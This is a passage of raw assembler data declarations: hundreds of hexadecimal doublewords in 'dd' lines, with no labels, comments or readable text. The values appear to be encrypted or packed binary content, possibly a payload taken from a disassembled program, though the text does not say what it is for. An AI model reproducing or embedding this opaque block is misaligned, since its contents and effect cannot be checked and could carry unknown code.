5FD373A5h, 9589AF50h, 5A536BC2h, 7D1847DBh, 1772DDFBh dd 0D38F7E42h, 9BA9BCB4h, 0C7625511h, 9D5E78F8h, 89BFA2FDh dd 72801C22h, 0F0744C5Ah, 0F0034A99h, 0E2000017h, 34534F79h dd 84E31F21h, 0D532EED0h, 217EBA92h, 7E8B0739h, 6381EBBh dd 0D7F16D8Ah, 0A19BBCDBh, 6C4A0A65h, 3745EAB0h, 92C5A4B5h dd 81744CC8h, 590AE1C7h, 4D5B84E9h, 8AD9A48Fh, 54339C82h dd 51FE3A1Ch, 0B01B2D32h, 6F517FAEh, 6E6D3A64h, 0AF91C4C3h dd 3A640FA1h, 2DDC426Dh, 6AA6CD3Ch, 0B16D4B0Dh, 0BC2B48B8h dd 8003290h, 5E005F73h, 9FC864h, 50AF6B5Dh, 8DD03B0Dh dd 142A2ECBh, 996C4AF8h dd 4497505Ah, 17620Dh, 0D9EB7000h, 0A99FC2DDh, 784E126Dh dd 0C4E063BCh, 91ABAFC8h, 0AC29E815h, 0FB1490AAh, 4AA56163h dd 98F73315h, 5802FED8h, 0A40BA5B3h, 0FA7E92C5h, 0D21F6FE6h dd 0A4D97785h, 0EA748AD9h, 261E7Dh, 39368584h, 2A53E3AEh dd 914BE5F3h, 203E6D3Ah, 14CB6757h, 40EF7A95h, 3D2B1D45h dd 6D3A39B3h, 0FCD89BC6h, 8927A960h, 0A86D3A39h, 397D0F1Dh dd 0E106D3Ah, 87C11C9Fh, 6EEEA472h, 2A46AEB7h, 0CE1DB9C1h dd 8AE51483h, 0F31F4AEBh, 860B963Ah, 0B44D6D3Ah, 23C8A2D0h dd 597C7768h, 5E000000h, 4F10206Fh, 6C889675h, 0C05FD5E3h dd 2C3294EBh, 0C063F1DFh, 0CE9294EBh, 8622263Bh, 6B9ED625h dd 0AA600E8Ah, 0F4D773FCh, 0BA2D1104h, 37EBDF66h, 0EF3C0658h dd 333F5A53h, 917D97C2h, 555472F2h, 13C0h, 61F00200h, 7E94EBC0h dd 6A76E10Eh, 8AC6D56Fh, 18BC78E6h, 85D21F6Fh, 0FDC79BF6h dd 0C05D840Ch, 6EF08AC6h, 91D3CE9Dh, 0FB89F564h, 24403CD3h dd 7EDCBBC7h, 3A3A4544h, 0E877E01Ch, 3F0452DCh, 0AC3B276Dh dd 3F04EE80h, 0EFF636Dh, 745771F3h, 0BC0F3129h, 446A5ED7h dd 91EE2A0Ch, 291AF1D7h, 5C4B94D9h, 709CEBA6h, 6D3F57FEh dd 0BFA08F93h, 0B857563Dh, 12BCCDACh, 2D316C73h, 0F13921Bh dd 0DAFC7493h, 1B70DBF1h, 22DEF7Bh, 3DECD087h, 0FF9A4004h dd 59A8615Bh, 0A2FD391Fh, 0D82784A2h, 0BC6CBF99h, 7AF400AFh dd 0FEF997Bh, 9D619A13h, 0AD694F09h, 0D7341252h, 8ED91666h dd 0B4305F62h, 0EC2836F1h, 8322463h, 0E0C67E81h, 9CA6B40Bh dd 0D9AD464Fh, 0E27693D5h, 0DB4440DCh, 45A698BCh, 0ABADF435h dd 0BD0D3E8Dh, 181927B0h, 1BFF8177h, 97CE608Ch, 381FFBF7h dd 209BA704h, 12CCF3Eh, 0F79779F3h, 0F6120CFBh, 4E473A69h dd 0D7504625h, 9E2E478h, 0ADCAB871h, 350B4EABh, 0F11F48D6h dd 0FBF7C97Fh, 1BF00C12h, 0F7C927B5h, 15E942EBh, 3232D791h dd 0FABB714h, 0D9E37493h, 1F405FF2h, 71B8C625h, 0B516282Eh dd 0A8A8E76Ah, 0EC1D3D8Eh, 5CEB8F73h, 0F7C9BE30h, 5E4FD3CBh dd 0EE2A1E43h, 17F4C891h, 5CAF89C8h, 0E4CABEB7h, 324D4973h dd 83B01B2Dh, 83913E33h, 0D5DAC95Eh, 3F8269F1h, 77CA211Bh dd 1D0FDCE0h, 5F4D2418h, 8BCCE2A6h, 5A1A75B1h, 1050AF7Ch dd 0C35F69F5h, 0E0A499E8h, 0C6FA5F3Ah, 7EF586E5h, 826611BFh dd 1858A766h, 3655C23Eh, 0AFB3183Eh, 0F80F5B7Eh, 0DECDD687h dd 1BA275E0h, 5623EA8Dh, 45h, 0E4D88170h, 0AFBD4807h, 94EBC01Dh dd 63BD6DFCh, 10EBE522h, 1E58210Eh, 271EF61Ah, 0E80575E6h dd 43E207Fh, 204C9BA7h, 94EB1A8Eh, 0A3AE5FC3h, 0C6048C95h dd 2DACE38Ah, 8F2723E1h, 0B75C58F4h, 21h, 0E4D881A3h, 89E65607h dd 8DAF325Eh, 58C68AC6h, 9DD4B35Ch, 0DF27C88h, 9B876D3Fh dd 1B92AC7Fh, 0F002717Fh, 0FAE28A67h, 0CF1C5680h, 0E2543B60h dd 0ED5E1B2Bh, 0F907509Dh, 8AC6E55Ch, 1849BCF3h, 9811CA07h dd 495C6A66h, 1CB8D459h, 887BF5E3h, 0C7C608Bh, 0F96C78E7h dd 8C8FE49Fh, 9E3A0A51h, 43B0004Dh, 0A8876914h, 51D985Bh dd 0EE7F8D84h, 61743121h, 31336EF9h, 1DB983D4h, 0E440C7B2h dd 0A9FFD30Eh, 0B780090Fh, 3F18DA83h, 38E62719h, 314365DFh dd 4B31DB2Fh, 0D0BC9744h, 2000013h, 54B36F59h, 0A4C33F01h dd 0F5128EB0h, 415E5A72h, 9EEB2719h, 26183EDBh, 0F7D18DEAh dd 417BDC3Bh, 0C2A2A45h, 1725CA90h, 92C5A895h, 0F0546CE8h dd 94EBDF7Eh, 3A1F1161h, 7995A506h, 6B7C2EEh, 27B27539h dd 3F179719h, 0B574EA6Dh, 0B0FF68F6h, 0F60296A4h, 6D3F8274h dd 9B261109h, 0A4AB6250h, 504C70E9h, 6C89C8C7h, 61F9D2F4h dd 5158E6C5h, 0D437094Eh, 5BE9CF89h, 4A29718Fh, 4C084390h dd 86000013h, 0D837F3D5h, 28474385h, 79961234h, 0C522DEFEh dd 26FAB9Dh, 0AA9CC25Fh, 7B4D116Eh, 0C5FF60BFh, 90B6AEC9h dd 9BA94614h, 92C5A911h, 71C8E064h, 0B27B4D12h, 933C3181h dd 0C6F97485h, 5918778Ah, 1E5860ACh, 274386DAh, 0CC1B07E6h dd 7B898AD1h, 6D3FFEF1h, 827E9A84h, 4A0DFE65h, 56F5D672h dd 0FE33BDCBh, 0B466D3Fh, 6E9BDBCBh, 0A26B878Fh, 0E8C3E55Fh dd 9D410538h, 8948E20Eh, 1D3D6D3Fh, 0FECE95ECh, 0F9642A02h dd 4DEAFF8Ah, 0E7260015h, 32ED0A76h, 6FBC80D7h, 89BFA5E0h dd 75E17000h, 0DD966D3Fh, 0AE9EC5E9h, 0E4869221h, 996D3F75h dd 3D5A0881h, 5C8F526h, 7E470F82h, 0A5062621h, 0A1927995h dd 0A5B31C51h, 730D2607h, 0C8BD44Ah, 0A9B67254h, 0E6DA7F1Ah dd 4DE676F8h, 96170B67h, 1CEFC98Bh, 4592DF2Fh, 7F833E37h dd 9EC95179h, 0F8674103h, 2586C69Dh, 0D12E9415h, 0E95AB197h dd 7C0B5499h, 9C0BDE50h, 7EAFB379h, 2FD4C5D3h, 67FB67B1h dd 0B1331FDDh, 74DF0C5Ch, 122Bh, 1490B4A9h, 0A46064FBh dd 0F733154Bh, 3FFD998h, 4C4872E4h, 7DE57E21h, 2A304F4Bh dd 0DE839C18h, 97D12EEAh, 88A775B1h, 0C5AAF27Ch, 0A9818792h dd 0EBC075F0h, 0E9D38494h, 0A7CC3C2Dh, 0A5312C38h, 0DA448AD9h dd 744A0E8Dh, 6EF0AFB8h, 65D75967h, 0B4AA6D3Ah, 7EAFB318h dd 0D56DF958h, 35117D16h, 0BD000001h, 0CD0256Fh, 784E1271h dd 0E7729EB1h, 0A394EBC0h, 9FAD38A7h, 94EBC0EDh, 0A6A1FE60h dd 94152586h, 676971F6h, 246F709Fh, 540303D7h, 78DC2139h dd 0B9C12A46h, 236F4A70h, 322102D6h, 16CC3847h, 0EC1DA904h dd 0D57DF9EEh, 37017C96h, 0CD000000h, 3D7246Fh, 54D6E271h dd 4594EBC0h, 0EBC0B537h, 6556C894h, 0F1D34F5h, 94EBC062h dd 0E66D3261h, 66DDBDD7h, 865AC4A7h, 0DB816971h, 8B4FF1E5h dd 3175h, 246F6D00h, 637103D7h, 94EBC0D6h, 0D75B46D5h dd 0A33A9749h, 11630DDBh, 81694EBh, 4F13CF81h, 0DB816971h dd 1271F1E5h, 8E907B4Dh, 129BADB1h, 7DF905C1h, 17C96D5h dd 3Fh, 4D1271CDh, 3581B27Bh, 63712438h, 94EBC0D6h, 71BDA1B9h dd 263857E2h, 0C0B8321Ch, 4DCD94EBh, 0DA813E5Ch, 0C021CBD9h dd 0CA5494EBh, 0F37221AEh, 96BCD12Ch, 4F464445h, 27758Bh dd 6F6D0000h, 7102D623h, 0EBC0D663h, 0A0B49494h, 74521271h dd 81849AB5h, 1E7DEADAh, 0A480C326h, 4C9F3B47h, 4FDFFB32h dd 0FECB758Bh, 0BBE6FFFFh, 0A038F652h, 0CECC3DCEh, 85D21F6Fh dd 0D9A4D977h, 7DEA748Ah, 94B0B3EEh, 9FE22B37h, 0A59850A5h dd 0AB9B12B6h, 919E103Ch, 6FF36D3Ah, 0B21984D3h, 731C98AFh dd 0A8426EF9h, 0DD6D3AE9h, 89964CBDh, 9A71570Ah, 0A5140584h dd 79F3014Eh, 0C6D3AE9h, 1FBB8DD1h, 0E6F281CCh, 6D3AE944h dd 0AAB62139h, 6D3AE900h, 0AC24E575h, 6D3AE900h, 0B3DFA352h dd 776806B7h, 486Fh, 0E2716B00h, 0EBC054D6h, 0F8312994h dd 0EBC04AD8h, 9FB9BB94h, 5B69F463h, 94EBC0D1h, 0DDE379A4h dd 0D5D4700Eh, 0EBC02EBBh, 0E96E2D94h, 0A36AF4D7h, 0C3FE42B2h dd 146A9924h, 0DCE87793h, 8AC67E7Dh, 81920E10h, 0EEh, 0D21F6F71h dd 0E48E7785h, 3ECD8AC6h, 3F249812h, 325EED6Dh, 6D3F24B8h dd 0F8314DCDh, 0DFBA2535h, 0E906957Ah, 0B566C8C4h, 90D3CE19h dd 0ECF857B4h, 6D3F9D42h, 1E8F2B37h, 85D8B7A0h, 3E8DA80h dd 0D284E37Fh, 79DE21E8h, 5AE96447h, 3F9DBC4Eh, 4049D16Dh dd 24C15FAFh, 7506FEC2h, 0C16CFB17h, 0A8842632h, 61F96D3Fh dd 0CCB228A8h, 90CF730Dh dd 678FF8CAh, 377627CDh, 4944932Fh, 97F02C10h, 202DFEC2h dd 5934A3D0h, 41F0391Fh, 7FE6C233h, 3A46E579h, 799C38B0h dd 0AE3955C5h, 0EBCD8403h, 0A7A1BD00h, 6F9E3A44h, 0AFB55010h dd 66817D99h, 0C4BAC8EEh, 9F5685E9h, 0F1D054Ch, 0A6B70000h dd 520966A2h, 359B672h, 0AFA6C13Dh, 6CF20D89h, 6C535E5Ah dd 59556FF3h, 0EE2A1C3Eh, 38F4C891h, 474365DFh, 0C06A7695h dd 0B592C5ADh, 0C7819BBFh, 0BDB70AE1h, 0C0129CA8h, 0FB6794EBh dd 2E3D8C5Fh, 7B195B63h, 0E14E3EA5h, 282E2D54h, 1730F91Bh dd 20C57F33h, 59A40721h, 4DED3E1Eh, 0E199531h, 10FBCD93h dd 6EF89F0Eh, 167D979Fh, 44h, 0D21F6FB0h, 0D5CE7785h, 0F9618AC6h dd 192B336Eh, 0AE7DACB2h, 0FB371153h, 1428316Ch, 0E28C98B7h dd 976D3F35h, 63BE6F8Bh, 77E4C7E1h, 6F7DEA07h, 731211A6h dd 8B0651C9h, 0C71AF1D3h, 0C05EAD97h, 25B965A4h, 54D6E271h dd 2994EBC0h, 3E005631h, 455C4DEDh, 0E2A12E1Eh, 9F434A7Ch dd 0EBDD80h, 0EBC02BCCh, 1C573294h, 0A9AEF138h, 0AFBD4897h dd 94EBC01Dh, 433FEE70h, 0A1B67ACAh, 0C8D4039Fh, 8AD9A598h dd 0CEF066B5h, 0F26625B2h, 29D4691Fh, 0F7FA3F68h, 0A1196679h dd 22DE7A49h, 109AA635h, 656D3AFBh, 0F99634F5h, 7D16D56Dh dd 532F3C6Bh, 0BE480D25h, 13FBA4Fh, 6F240000h, 710CD025h dd 4B273102h, 6CF38143h, 85933C58h, 94EB78EBh, 609809Eh dd 0EB786FFAh, 0F01C2B94h, 94EB787Eh, 4836DC13h, 2FE046CCh dd 71637793h, 0F8F8B7E2h, 0BFB11EB6h, 1271484Eh, 89B27B4Dh dd 246F8EB1h, 0DF0303D7h, 2D6236Fh, 7DF9B921h, 7B7C96D5h dd 0C02EC0ECh, 3F2397EBh, 4D39CEh, 6FA50000h, 7103D724h dd 0C054D6E2h, 22994EBh, 0EBC074F6h, 0F5110994h, 620F1D34h dd 6194EBC0h, 0C024C6D2h, 125994EBh, 0C49C29DEh, 0FC2D49DBh dd 713D2139h, 0E5DB8169h, 85004FF1h, 21CEFD9h, 33750F8Bh dd 0E6000000h, 3E8DB7ABh, 6FEDE920h, 7103D724h, 0EBC0D663h dd 0A0B6D594h, 0A22D4D9Eh, 0EBC01496h, 38F16994h, 71E4F858h dd 97745212h, 0EB0F028Bh, 0F1E5DB81h, 7DF98B4Fh, 17C96D5h dd 39h, 0D6236FCDh, 0D6637102h, 0D594EBC0h, 0B7369DA6h dd 0C9C0175Bh, 7120342Ah, 0A74957E2h, 4694EBC0h, 4FD3280Eh dd 0DA81385Eh, 8B4FF6EAh, 75531271h, 0A018896h, 1Bh, 0D6236FECh dd 0D6637102h, 9494EBC0h, 0E271A0B4h, 1C8DB7A7h, 0EADA817Eh dd 758B4FF6h, 0FFFFFEAFh, 0E11F6F6Dh, 0EBC059D3h, 96322C94h dd 0A49D3B49h, 0D1DC8AD9h, 0C1310519h, 0E32AEEh, 88D2B11Eh dd 0DCCD6DBEh, 0A8FBA635h, 0FEC09672h, 28220D2Dh, 5A66F19Bh dd 6D3AEAD0h, 2D74B5A5h, 86910D2Bh, 325E570Bh, 6D3AEAB8h dd 0F8314DCDh, 6CFBF847h, 3AEAAE40h, 6CBFA36Dh, 3AEACC60h dd 25A1D6Dh, 390F52A9h, 473B22D2h, 1C57CA0h, 680799D5h dd 7583777h, 0E248E20Eh, 1D3D6D3Ah, 17730881h, 5F000000h dd 0EBC062F0h, 0F7D19394h, 0C5283Bh, 6850000h, 0FC82694Fh dd 1F6F890Dh, 6A7785D2h, 698AC6DFh, 0B516302Ah, 0B2CEF066h dd 3A75B87Bh, 7D73F8AAh, 0A2E16E8Ah, 2F0948BDh, 0EA2642DCh dd 1BF0D48Dh, 4A95DA2Ah, 0DE4B43Eh, 1641D973h, 441E7E6Bh dd 9DE2004Ch, 586BA757h, 0DA75B4D0h, 6AA69ABFh, 0B1B3540Dh dd 681698A4h, 0F76B674Eh, 4EE00C5Bh, 3674E68h, 3B28831Fh dd 2B39A6CBh, 797C03FAh, 0C7C20D0Dh, 0CDF7688Dh, 0AB4553FEh dd 0DE799C94h, 0C882440h, 2D5771F3h, 56868D43h, 8C70DB08h dd 4600000Bh, 98F73315h, 0E80783C5h, 39565274h, 85E21E3Eh dd 0C22FEBDDh, 0EADC821Fh, 0BB8DD12Eh, 53F207Fh, 0D0F66E89h dd 0DBE906D4h, 92C5B051h, 81082024h, 0B70AE1C7h, 414C9BBDh dd 276CA4CEh, 0C9F0E6Eh, 0EEC4B8BDh, 43545076h, 7D977327h dd 0C2ECF6A5h, 0CCC15C6h, 90192B33h, 4E1Bh, 1F6FC700h dd 510685D2h, 0B829C6Fh, 0F141F804h, 21C8AC6h, 6CE7A2A9h dd 5468EF48h, 0DF22EB77h, 0E8DA8065h, 27E37F03h, 21AE88C8h dd 11E48692h, 81996D3Fh, 78C87508h, 0CBF37DA8h, 0B493C9AAh dd 2D4D9EA0h, 2F3A4691h, 46731227h, 81B8DCD8h, 212EEADAh dd 0E1CAFC62h, 85205059h, 5494EBC0h, 4CFD3903h, 0DD68F7FCh dd 0EBC03DCFh, 0DFCE5094h, 6FE6A530h, 15304049h, 388AD9A5h dd 86DAB926h, 0F9504440h, 7D16D56Dh, 18D11h, 256FBD00h dd 490887D0h, 0C0BE305Ch, 4FD394EBh, 3F015433h, 3F5B52ECh dd 0C0D66371h, 0B49494EBh, 0D6E271A0h, 94EBC054h, 9AA63129h dd 94EBC010h, 1D34F565h, 709F6705h, 3D7246Fh, 3A1E0271h dd 447AD97Ch, 6F1AB845h, 4A56E523h, 94EBC0A0h, 119B45D5h dd 0F894EBC0h, 0F38F5C66h, 0E6FA1608h, 0AB4E1271h, 9D2F451Fh dd 0E1CA66A8h, 0E9F15059h, 96D57DF9h, 241C7B7Ch, 4FFE8B02h dd 0D8000000h, 3D7246Fh, 0B3A7E271h, 0ED1C2289h, 0EBC056E3h dd 0F3265594h, 34067934h, 2B37F637h, 53127137h, 1889675h dd 0DB81E80Eh, 0C1EF7AE5h, 94EBC02Fh, 51AA9CBEh, 0C05CEEFAh dd 293194EBh, 4F7E1C8Dh, 49758Bh, 0ABE60000h, 213992B6h dd 246FE2E8h, 27103D7h, 46D6D4Fh, 759C0D64h, 0A0CC5BE6h dd 94EB5F0Eh, 7FF1DF43h, 1294EB5Fh, 66F39D0Ch, 2494EB5Fh dd 12713024h, 9DA3B653h, 0AB94304Eh, 0D25B690Bh, 0EF62AB60h dd 0E5DB81CBh, 0F98B4FF1h, 7C96D57Dh, 1C01h, 236FCD00h dd 637102D6h, 94EBC0D6h, 71BDA1B9h, 0EADA8169h, 758B4FF6h dd 47h, 15236F6Dh, 8C92794Fh, 63716C70h, 94EBC0D6h, 7C2BB494h dd 0ED806FC2h, 3551582Fh, 0BD481271h, 0A407A3A5h, 0DAFC139Ah dd 794F1271h, 21D8C92h, 96B0AA5Fh, 5274E635h, 0BE4D9A36h dd 0EBC01892h, 3CED6D94h, 718B4F9Eh, 0C054D6E2h, 0B3B594EBh dd 0F1382695h, 0FFFE6A5Ah, 1F6F3CFFh, 540685D2h, 8894BB72h dd 8AD9A4CAh, 118CDB47h, 0ABE67157h, 0F33E8DB7h, 3CE38623h dd 7CADC9D8h, 3B388786h, 5B6DF1ACh, 0D691EE70h, 840515F6h dd 0CDCD7F8Dh, 41EC6D3Ah, 3ACDB933h, 5B52CC6Dh, 676546D8h dd 6D3ACDC7h, 4E138E99h, 89917Ah, 7BF723E7h, 237767EAh dd 22h, 0C062F0AFh, 0D19394EBh, 352D68F7h, 3B249A13h, 96C1FB5Ch dd 0EBC0E08Ah, 4859594h, 0C209h, 1F6FE900h, 0E7785D2h dd 218AC6D6h, 6EF3AE39h, 18415E5Ah, 2CBB24h, 6D3F366Eh dd 0A385BCE3h, 46F78607h, 236EF9F6h, 34322034h, 35DCCDD4h dd 0D4DB927h, 84DDB873h, 0D6D76B40h, 0F19CCB57h, 10FBCD92h dd 1636310Eh, 1D64A5B5h, 9B840044h, 4D4EE00Ch, 1F03674Dh dd 0FACE93EEh, 9FD42411h, 26F12430h, 0A14797Fh, 6386BEDDh dd 6D5707E0h, 0F07A86D1h, 857993F9h, 0A3EE7995h, 45D0899Ah dd 65D9D07Ah, 0C66C4A0Ah, 56856C34h, 45DF427h, 0CE000008h dd 207FBB8Dh, 708F0B3Dh, 0C1DEDAECh, 0D6AA686h, 4AB77355h dd 72540A97h, 0C30559B6h, 8DB7A8C7h, 587EF611h, 4351FE5Ch dd 92C5B4A9h, 718058DCh, 41C50302h, 0B07975E8h, 0FAD1F771h dd 0DD383857h, 0E4254187h, 193EDB9Dh, 4D660814h, 71B94EBh dd 0E27E00EBh, 99AFB209h, 5074EF32h, 0B094897Bh, 15E95239h dd 66F1D791h, 0D5326D3Bh, 0C8C18F38h, 7CE9851Ah, 369D7D97h dd 39000000h, 85D21F6Fh, 0C6D83677h, 0FAD1498Ah, 3F3848D6h dd 9CA0B96Dh, 5771F04Fh, 0A2669F74h dd 562ACBCFh, 6BD23E28h, 0E3F19C77h, 6D3F3449h, 1EEB223Ch dd 53h, 111F6FB8h, 9EA0B449h, 0A6912D4Dh, 0F6280122h, 0D4039FACh dd 31174A49h, 4B4544DAh, 8AC6BCA6h, 7B1641D9h, 720CDFF9h dd 0D395E8BBh, 66DE39F5h, 812BC993h, 0FF1BC0B2h, 61CF3F2Ch dd 3FA8C4F8h, 13EA6411h, 48978B73h, 0F21DAFBDh, 0EE706741h dd 4E5F433Fh, 87EC5CAFh, 8D894C58h, 0A2BC8AC6h, 248BF665h dd 0D75242E3h, 81C6CAC3h, 0CEACC59Bh, 7C3DA27Eh, 314ECC07h dd 0B4F4A95h, 4B59F831h, 0B39BA39Ah, 0F35EADADh, 11FADC94h dd 1F6F8009h, 0EAF685D2h, 0A7D9AB40h, 6DE42535h, 0F4EF8E5Fh dd 4E9981B9h, 0FB371153h, 7082A49Ch, 16F6B2ACh, 9CB1984Bh dd 36000006h, 88E72325h, 0D837F3D5h, 29464284h, 75920E2Eh dd 0D2DFDBEDh, 0DAEC72EFh, 0AB9DC1DEh, 754F106Fh, 0C0E65EB9h dd 0EBF916C4h, 92C5B541h, 81183034h, 0B70AE1C7h, 0EA639FA1h dd 0FE0A559Ah, 8AD9A470h, 0A3AE7D1Dh, 624973E4h, 4D4393DCh dd 4919703h, 0E0E67A85h, 2CAED452h, 0C58C5F4Ah, 63Bh, 480C499h dd 545074EBh, 0E723253Bh, 33EFC988h, 7CB882D4h, 8DD54E31h dd 3A207FBBh, 0EE738C08h, 87C1DEDAh, 98B765A1h, 0C5B6E28Ch dd 0B9919792h, 85D21F6Fh, 0D9A4CD77h, 5D810C8Ah, 64463D9Dh dd 0EB7736F7h, 72A7BD00h, 0F374CC96h, 5CE602E2h, 4A2CC7DCh dd 0E0C98053h, 0F2000005h, 44A35F69h, 94F32F11h, 0E502FEC0h dd 314E4A62h, 6E9B1729h, 16282EABh, 0E7E17D9Ah, 0B18BCC2Bh dd 7C5A1A75h, 2735DA80h, 92C5B685h, 6F647CF8h, 685D21Fh dd 809E6D53h, 1C7B0609h, 59A40739h, 50EE3D03h, 65DBF534h dd 388AD9A4h, 64650715h, 0C5186D3Ah, 0F00CA89Ch, 0AE90C41Bh dd 2C3D9E04h, 7BD2014Ah, 577h, 0C8C4005Dh, 1894A8AFh, 0AB6759FFh dd 0F733154Ch, 0FCC698h, 0C19902F5h, 76E403FFh, 2237504Ch dd 0C385E21Eh, 0DC7329E5h, 0C5B63EB0h, 0FDD55392h, 0AE1C781h dd 309BBDB7h, 0C8DEA25Bh, 1572AE88h, 3A967553h, 94EBC0AFh dd 0FB9F63DCh, 0B82A49Ch, 5E5A7CF4h, 0B6210741h, 1A694CCBh dd 7EAF7B4Eh, 7DE5A0AFh, 53F424Bh, 1666E723h, 0F22CDEEAh dd 0EA2194EBh, 0CC3F5925h, 99355109h, 679F224Eh, 68F68AC6h dd 8BD1CC83h, 6FC856B5h, 68F6D5EFh, 77812FA1h, 0EC706D3Eh dd 0E7034519h, 90A5B904h, 3E77EA84h, 67839F6Dh, 1E3E3984h dd 0E48B7FF6h, 113D0130h, 776C9455h, 2E09h, 0DA535E00h dd 0FA947057h, 716268A1h, 8F7E4812h, 96C12E9Eh, 0C6EA678Ah dd 0AB001E8Ah, 3F2A9725h, 6024DD6Dh, 6BC43832h, 11FEC77h dd 71EE0000h, 8643BC02h, 32FB1B62h, 45375EFh, 0C41FE699h dd 0AF384125h, 0EBB8EF81h, 0DFC6294h, 53F237Eh, 0EC195BA6h dd 8A578179h, 0FCCF6B54h, 581A7A1h, 0E3C57F1Ah, 19B77608h dd 94EB5456h, 9D193F39h, 57D9E772h, 2A94EB44h, 0AAD0A4E7h dd 42DED73Fh, 1A3C344Bh, 3F3484B1h, 75F70590h, 894EBC3h dd 0ED789716h, 0BF7BA5BEh, 0AE99B834h, 526F1DD5h, 666AA32Ch dd 8AC6D853h, 67F02C32h, 9F0E2828h, 4F121E6Eh, 0E772DD79h dd 0E0A24C58h, 174B6D3Eh, 0D193CE2Dh, 0EE0A14F7h, 0E0D95361h dd 0B2AC6D3Eh, 20A3557Bh, 1FAA730Ch, 4CA07FF1h, 113F1267h dd 674CA09Fh, 0D9D06CF2h, 0FC9BC45Ah, 88F7605Ah, 0B51B984Dh dd 0F3AF5E14h, 4AF8C294h, 5056B9DAh, 0B493BA69h, 1E000003h dd 708F0B3Dh, 0C0DFDBEDh, 116EAA9Ch, 5DBA7656h, 0BAC7C305h dd 0C2045AC7h, 93B5A9C6h, 5D67F817h, 280E46A1h, 0F3012EECh dd 92C5B879h, 8130080Ch, 0CC2BE7D9h, 9625B294h, 715F79FBh dd 94EBC0FFh, 0A11D8C92h, 0D21F6F3Dh, 0E94B1685h, 6BD4E871h dd 0F76AC36Ch, 0C864FAD1h, 0E4A34EC1h, 0DC624973h, 20E9DB83h dd 0C6D59990h, 816AF48Ah, 3EE8BD4Bh, 7A4EF76Dh, 6C02224Ch dd 0ACDA77h, 81040000h, 0B70AE1C7h, 9E3299A3h, 94EBDC2Dh dd 66A284BCh, 0FE694F09h, 0F70D97B3h, 0E821643Ch, 0A8D82815h dd 14D9129Ch, 5F79FB6Bh, 1109F28Ch, 3B5E6AF5h, 5A753995h dd 0F141C8C4h, 304553FCh, 57730AE1h, 59019CCBh, 0A4CAB67h dd 0B92C8230h, 74A75057h, 2DEDDh, 5D67F400h, 2D1346A1h dd 0FCC296F1h, 486CE700h, 152F334Ch, 30AD6C99h, 7F98142Eh dd 0CE29E5DFh, 1C7BB789h, 0D4860224h, 0B9872937h, 7EFA92C5h dd 4D12715Ah, 0C0B23C48h, 5BC794EBh, 5B52EC3Fh, 76EB1244h dd 0EAA93652h, 0F4D29277h, 3EEF0B17h, 0B2D2740h, 0C7810B8Fh dd 48470AE1h, 41D93214h, 2A3F3948h, 0EBC06C1Eh, 3E4AE194h dd 6B143F8Ch, 0A13D59C1h, 0B99FFA65h, 0A5150687h, 64701F48h dd 6B143FCAh, 95BD70BFh, 0A541B87Bh, 63718009h, 7539A30Ah dd 0DEE87211h, 96A8AE0Dh, 892535h, 0A22EFD9Dh, 6D3FB314h dd 0B7E3A75Eh, 776B50BBh, 6F63h, 1F6F6F00h, 9BF685D2h dd 860A83C5h, 8AC68ECBh, 279B7B26h, 3F37D8Bh, 98866D3Fh dd 0AAA0D9AFh, 55D8063h, 0AD38A7C3h, 755668EEh, 0A371FBE5h dd 1A046D3Fh, 5E4D0093h, 272EFC94h, 9937F62Ah, 6D3F190Bh dd 886365FAh, 1935B7C5h, 0D6486D3Fh, 0F2D9FF79h, 0AB3E023Bh dd 44FACE77h, 75EA0F49h, 4AE67853h, 0B32A4443h, 13D2776Bh dd 0FC000000h, 0EBC061F0h, 0E10E7E94h, 8B976A76h, 70EE8AC6h dd 1F6F20B4h, 131685D2h, 519E3979h, 0CBFD603Fh, 0E5A04FC2h dd 0E27C4F79h, 0B314A52Bh, 68178AC6h, 28B61BDh, 0C8A44853h dd 5A05EB42h, 322CCF3Eh, 5274E6A5h, 5528E179h, 3E3DE977h dd 0AE92A36Dh, 6CDAE680h, 259E77h, 24B30000h, 3E359618h dd 0B677EB6Dh, 0C062F010h, 0D7D94EBh, 906977E0h, 0EF8AC68Bh dd 0EDA8B773h, 0F8CA9075h, 6F29AD5Ch, 7785D21Fh, 8AD9A4F9h dd 0D5025994h, 0DBCB4248h, 0F37510BFh, 86BED9D5h, 0AA1A4BA0h dd 0F70E1A45h, 9E73089Eh, 38385780h, 0C385E21Eh, 1F20CAD6h dd 0EAD96749h, 17C8400Ch, 0BDCB6655h, 6749E133h, 20BCD846h dd 162A9ACBh, 123E4AF4h, 67497698h, 5E026DEDh, 453EFBFh dd 372DCE89h, 8A4BA11h, 0A4E38E81h, 0DA218AACh, 5B244086h dd 17A0848Ah, 711F8E01h, 79641100h, 3781332Fh, 5C568609h dd 0B5C48Fh, 3E1F0000h, 0EA718E0Ah, 9BC1DEDAh, 570E69A5h dd 45AB571h, 0C4BBC6C2h, 0C13D075Bh, 1692B4A6h, 0A05C60F9h dd 0EF2B0D47h, 78F21E2Dh, 0D92C5BBh, 2713317h, 0C15BFB01h dd 0A2535A34h, 0D7B21D52h, 0D26CBF81h, 12834DBh, 7C8AD969h dd 0B2B209E2h, 0D03B1D57h, 2C82E14Eh, 0DAC34358h, 232542BEh dd 742AA605h, 0A35ECAB1h, 8500B68Ah, 7806E5C3h, 3F66EB1h dd 2140FA0Ah, 95A32C9Fh, 538D021Bh, 5854F06Eh, 0C823053Fh dd 0F1DAF275h, 842A1E07h, 212EEACCh, 0C5C4E262h, 0E45FBABAh dd 3B57EBC0h, 261E7DD0h, 0A897AB00h, 72C243A4h, 232AE38Dh dd 3, 817A5E17h, 0BC03E8DCh, 0F249A284h, 2D705B6Dh, 69B41731h dd 0A1FCCFF1h, 0D92487B9h, 0E6DBE9Eh, 4897744Ah, 8D83315h dd 712D68h, 242C8900h, 5E08950h, 4, 42Dh, 24048700h, 240C895Ch dd 81E78957h, 4C7h, 4EF8300h, 5C243C87h, 55243489h, 0C8229DBDh dd 6DB85051h, 0C1187D72h, 0AF0508E8h, 0C130C220h, 0E0C103E8h dd 232D4005h, 896B73F8h, 0E92958C1h, 348B545Dh, 4C48324h dd 451268h, 240C8900h, 54242C81h, 8F3D881Bh, 46810846h dd 881B5408h, 2434FF3Dh, 4C4815Eh, 0FF000000h, 81592434h dd 4C4h, 2B2E900h, 2E2AFFFDh, 8B9C2BB2h, 2D2DA2EBh, 0A943F7DEh dd 2E7C78B8h, 0FFC50306h, 40AFBE0h, 0AE9A35Ah, 7A347644h dd 826DB63Ah, 0A2118A62h, 0C1049366h, 0BBBFAD2Ch, 0D006267Ah dd 0B624CF57h, 0C17E383Eh, 990FEE46h, 1FDD9E28h, 0D085B16h dd 9E84Ah, 71310000h, 